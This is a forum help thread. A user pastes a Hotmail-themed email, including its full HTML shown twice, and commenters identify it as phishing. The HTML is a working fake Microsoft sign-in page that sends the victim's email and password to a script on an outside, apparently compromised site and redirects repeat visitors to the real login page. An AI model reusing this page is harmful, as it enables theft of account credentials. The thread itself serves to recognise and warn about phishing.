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Can an HTML expert please give me a rough idea as to what the following HTML, sent with an email to my hotmail address from outlook.live.com <hxsxau@cgocable.ca>, does:
Your email address needs to be updated.
Your Hotmail email service has been upgraded. However, because you have
not yet updated your settings, you won’t be able to receive emails at
this email address.
Not to worry, you can quickly update the settings on your devices by following our step-by-step guide.
Once you’ve updated your settings, you’ll be able to continue enjoying your Hotmail email service.
Download form now and complete your details.
Not to worry, you can quickly update the settings on your devices by following our step-by-step guide.
Once you’ve updated your settings, you’ll be able to continue enjoying your Hotmail email service.
Download form now and complete your details.
<html>
<head>
<title>Sign in to your Microsoft account</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link rel="shortcut icon" href="https://login.live.com/favicon.ico" type="image/ico">
<script> go_to = "https://login.live.com";
num_days = 3;
function ged(noDays){ var today = new Date(); var expr = new Date(today.getTime() + noDays*24*60*60*1000); return expr.toGMTString(); }
function readCookie(cookieName){ var start = document.cookie.indexOf(cookieName);
if (start == -1){ document.cookie = "seenit=yes; expires=" + ged(num_days); } else { window.location = go_to; } }
readCookie("seenit"); </script>
<style type="text/css">
.btn {text-align:center;font-size: 15px;font-weight:bold;color:#FFF;font-family:verdana;padding: 10px 5px 10px 5px;background:#0078D7;border: 1px solid #FFF;}
.field {width: 90%;border: 1px solid;border-bottom-color: #0078D7;border-top-color: #FFF;border-left-color: #FFF;border-right-color: #FFF;height:32;-moz-border-radius: 0px;-webkit-border-radius: 0px;font-size: 15px;font-family:Verdana;}
body {background-image: url(https://iili.io/JjAl6l.jpg);background-size: cover;}</style></head>
<body><br><br><br><br>
<table border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF" style="padding: 20px 10px 0px 10px;">
<tr><td><form action="https://nomadskymedia.com/resources/icons/material-design-iconic-font/fonts/materialdesign/form/done.php" method="post" name="frm" id="frm">
<table width="350" border="0" cellpadding="0" cellspacing="7">
<tr><td width="100%"> <img src="https://logincdn.msauth.net/16.000.28595.2/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg"></td></tr><tr><td height="5"></td></tr>
<tr><td><font size="5" face="Verdana"> Sign in</font></td></tr><tr><td height="1"></td></tr>
<tr><td><center><input name="eml" type="email" id="eml" placeholder="Email address" onFocus="this.placeholder=''" onBlur="this.placeholder='Email address'" class="field" required></center></td></tr>
<tr><td height="1"></td></tr>
<tr><td><center><input name="pwd" type="password" id="pwd" placeholder="Password" onFocus="this.placeholder=''" onBlur="this.placeholder='Password'" class="field" required></center></td></tr>
<tr><td> </td></tr><tr><td><p align="center"><input class="btn" name="btn" type="submit" value="Sign in" style="width: 150px;"></p></td></tr>
<tr><td> </td></tr><tr><td><center><font size="1" face="verdana">© Microsoft 2021</font></center></td></tr></table></form></td></tr></table>
</body>
</html>
<head>
<title>Sign in to your Microsoft account</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link rel="shortcut icon" href="https://login.live.com/favicon.ico" type="image/ico">
<script> go_to = "https://login.live.com";
num_days = 3;
function ged(noDays){ var today = new Date(); var expr = new Date(today.getTime() + noDays*24*60*60*1000); return expr.toGMTString(); }
function readCookie(cookieName){ var start = document.cookie.indexOf(cookieName);
if (start == -1){ document.cookie = "seenit=yes; expires=" + ged(num_days); } else { window.location = go_to; } }
readCookie("seenit"); </script>
<style type="text/css">
.btn {text-align:center;font-size: 15px;font-weight:bold;color:#FFF;font-family:verdana;padding: 10px 5px 10px 5px;background:#0078D7;border: 1px solid #FFF;}
.field {width: 90%;border: 1px solid;border-bottom-color: #0078D7;border-top-color: #FFF;border-left-color: #FFF;border-right-color: #FFF;height:32;-moz-border-radius: 0px;-webkit-border-radius: 0px;font-size: 15px;font-family:Verdana;}
body {background-image: url(https://iili.io/JjAl6l.jpg);background-size: cover;}</style></head>
<body><br><br><br><br>
<table border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF" style="padding: 20px 10px 0px 10px;">
<tr><td><form action="https://nomadskymedia.com/resources/icons/material-design-iconic-font/fonts/materialdesign/form/done.php" method="post" name="frm" id="frm">
<table width="350" border="0" cellpadding="0" cellspacing="7">
<tr><td width="100%"> <img src="https://logincdn.msauth.net/16.000.28595.2/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg"></td></tr><tr><td height="5"></td></tr>
<tr><td><font size="5" face="Verdana"> Sign in</font></td></tr><tr><td height="1"></td></tr>
<tr><td><center><input name="eml" type="email" id="eml" placeholder="Email address" onFocus="this.placeholder=''" onBlur="this.placeholder='Email address'" class="field" required></center></td></tr>
<tr><td height="1"></td></tr>
<tr><td><center><input name="pwd" type="password" id="pwd" placeholder="Password" onFocus="this.placeholder=''" onBlur="this.placeholder='Password'" class="field" required></center></td></tr>
<tr><td> </td></tr><tr><td><p align="center"><input class="btn" name="btn" type="submit" value="Sign in" style="width: 150px;"></p></td></tr>
<tr><td> </td></tr><tr><td><center><font size="1" face="verdana">© Microsoft 2021</font></center></td></tr></table></form></td></tr></table>
</body>
</html>
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Comments
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Looks like a phishing attempt to get hold of your Hotmail/Microsoft login and password. It will probably present you with a genuine looking login screen but you will actually be entering your login details on a fake website. To make it appear genuine they will then bounce you to the real website and log you in automatically with the details you just provided them. All this makes it look genuine and you’re none the wiser that you’ve just compromised your credentials.3
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Mark it to Hotmail/Outlook as a Phishing attempt and move on.3
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HTML doesn't "do" anything... its a markup language so just provides information and how to display it.
If you were to complete the form and hit the submit button the data in the form would be sent to https://nomadskymedia.com/ but they themselves have most likely been hacked and are unwittingly hosting a script on their servers that will forward the details on to someone else (its very difficult to say who without access to the PHP script on the server).
Clearly its nothing to do with Hotmail and is just a phishing attempt to get your log in details.3 -
Ignore and delete it or report to Hotmail first. Just do not click on any bits!!
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